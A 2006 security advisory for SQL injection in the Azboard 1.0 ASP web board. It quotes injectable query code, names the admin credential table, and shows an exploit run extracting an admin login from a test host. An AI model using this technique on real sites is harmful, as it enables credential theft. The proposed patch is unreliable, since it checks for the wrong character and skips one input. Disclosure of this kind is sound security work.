Azboard <= 1.0 Multiple Sql Injections
Title : Azboard <= 1.0 Multiple Sql Injections
Published : 2006.5.14
Author : x90c(정경주)@chollian.net/~jyj9782/
Link : http://user.chol.com/~jyj9782/sec/azboard_advisory.txt
0x01 Summary
Azboard is a web board written in asp (active server pages).
It has a sql injection hole. so we can get the admin(bbs)'s
Id and password and so on. let's start to see what is the code..
0x02 Codes
~/azboard/list.asp:
-
49: if searchstring<>"" then
50: sql="select count(board_idx) from board where " & search & " like '%" &
searchstring & "%' and cate='"&cate&"' "
51: else
52: sql="select count(board_idx) from board where cate='"&cate&"'"
53: end if
-
above lines are vulnerable to sql attak as you can see. y0! ;)~
~/azboard/admin_ok.asp:
-
27: SQL = "SELECT cate,admin_id,admin_pass,board_name FROM board_admin where
admin_id='"&id&"' and cate='"&cate&"'"
-
i found the fields('admin_id', 'admin_pass') and table('board_admin') in
this file.
0x03 Exploit
[root@ebp exploits]# ls -al azboard_blue.c
-rw-r--r-- 1 root root 4771 5월 14 23:30 azboard_blue.c
[root@ebp exploits]# ls -al azboard_blue
-rwxr-xr-x 1 root root 17163 5월 14 23:30 azboard_blue
[root@ebp exploits]#
[root@ebp exploits]# make azboard_blue
cc azboard_blue.c -o azboard_blue
azboard_blue.c: In function `tu1':
azboard_blue.c:55: warning: assignment makes pointer from integer without a cast
azboard_blue.c:59: warning: assignment makes pointer from integer without a cast
azboard_blue.c:63: warning: assignment makes pointer from integer without a cast
azboard_blue.c:67: warning: assignment makes pointer from integer without a cast
[root@ebp exploits]# ./azboard_blue
azaboard 1.0 <= 0day :
$ ./azboard_blue <azboard URL> <cate>
~ x90c@xxxxxxxxxxxx/~jyj9782
[root@ebp exploits]#
[root@ebp exploits]# ./azboard_blue http://192.168.0.5 testbbs
[ LANG=KOR admin id ] admin
[ LANG=KOR admin pass ] 1234
[root@ebp exploits]#
0x04 Patch
~/azboard/list.asp:
..
if instr(search, "\'") > 0 or instr(cate, "\'") > 0 or instr(cate, "\'") > 0
then
Response.redirect "error.asp"
end if
..
Thanks for many 0p3n-H4ck3rz!
- Blu3h4t Team.